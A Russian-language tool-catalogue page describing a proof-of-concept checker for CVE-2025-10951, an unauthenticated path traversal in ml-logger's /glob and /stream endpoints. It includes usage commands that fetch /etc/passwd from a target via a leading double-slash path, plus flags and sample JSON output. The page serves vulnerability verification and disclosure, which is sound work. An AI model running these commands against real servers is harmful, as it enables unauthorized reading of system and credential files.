Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2025-10951 — Инструмент проверки PoC для CVE-2025-10951 — неаутентифицированного обхода пути в ml-logger, проверяющий произвольное чтение файлов через конечные точки /glob и /stream. | Kitploit
Инструменты/GitHubGitHub/1amunvalid/cve-2025-10951
Сканеры уязвимостейАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийЭксфильтрация данныхСбор информации
GitHub1amunvalid/cve-2025-10951

CVE-2025-10951

Инструмент проверки PoC для CVE-2025-10951 — неаутентифицированного обхода пути в ml-logger, проверяющий произвольное чтение файлов через конечные точки /glob и /stream.

Репозиторий
9 дней назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2025-10951 - check_mllogger_traversal.py

Инструмент проверки наличия уязвимости для CVE-2025-10951 / GHSA-8x9j-2p8r-7xc6 — неаутентифицированного обхода пути в geyang/ml-logger (≤ 0.10.36), затрагивающего функции log_handler / stream_handler в ml_logger/server.py.

Используйте только против систем, которые вам разрешено тестировать.

Что проверяется

EndpointMethodPurpose
/globPOSTПодтверждает, что сервер перечисляет пути файловой системы за пределами предполагаемой области приложения
/streamGETПодтверждает чтение произвольных файлов с помощью приёма обхода с двойным слэшем в начале (//path/to/file)

По умолчанию на шаге проверки читается только /etc/hostname — одна безвредная строка, присутствующая практически на каждом Linux-хосте, никогда не содержащая чувствительных данных.

Требования

root@kitploit:~
pip install requests

Использование

Базовая проверка:

root@kitploit:~
python3 check_mllogger_traversal.py http://TARGET:PORT

Запись результатов в JSON (для документации/доказательств по проекту):

root@kitploit:~
python3 check_mllogger_traversal.py http://TARGET:PORT --json results.json

Загрузка указанного вами конкретного файла (выполняется только при подтверждении уязвимости):

root@kitploit:~
python3 check_mllogger_traversal.py http://TARGET:PORT \
  --fetch /etc/passwd --output passwd.txt

Всё вместе:

root@kitploit:~
python3 check_mllogger_traversal.py http://TARGET:PORT \
  --json results.json --fetch /etc/passwd --output passwd.txt

Параметры

Коды возврата

  • 0 — уязвимость подтверждена (полностью или вероятно)
  • 1 — не подтверждена уязвимость / цель недостижима

Пример JSON-вывода

root@kitploit:~
{
  "target": "http://192.xxx.xxx.xxx:8081",
  "timestamp": "2026-00-12T10:15:32.123456+00:00",
  "cve": "CVE-2025-10951",
  "glob_endpoint_confirmed": true,
  "stream_endpoint_confirmed": true,
  "vulnerable": true,
  "likely_vulnerable": true,
  "fetch": {
    "remote_path": "/etc/passwd",
    "local_path": "passwd.txt",
    "success": true
  }
}

Примечания

  • --fetch запускается только после успешной проверки уязвимости — он не будет пытаться загружать файл с неподтверждённой цели.
  • Скрипт никогда не выбирает файл для загрузки за вас; вы всегда указываете точный удалённый путь.
  • У сервера есть известная особенность: при некоторых ошибках чтения файлов HTTP-ответ с чанковым кодированием повреждается на середине потока (в тело записывается необработанная страница ошибки вместо аккуратной ошибки). Скрипт перехватывает это и сообщает о сбое, а не падает.

Ссылки

  • GHSA-8x9j-2p8r-7xc6
  • geyang/ml-logger#74 — небезопасное чтение файлов
  • geyang/ml-logger#73 — небезопасная загрузка файлов
  • geyang/ml-logger#72 — RCE через десериализацию
  • NVD — CVE-2025-10951
Скачать инструмент
FlagDescription
targetБазовый URL, например http://192.xxx.x.xx:8081
--timeoutТаймаут запроса в секундах (по умолчанию: 8.0)
--json FILEЗаписать структурированные результаты в JSON-файл
--fetch REMOTE_PATHЗагрузить указанный вами конкретный удалённый файл
--output LOCAL_PATHЛокальное имя файла для вывода --fetch (по умолчанию: базовое имя удалённого пути)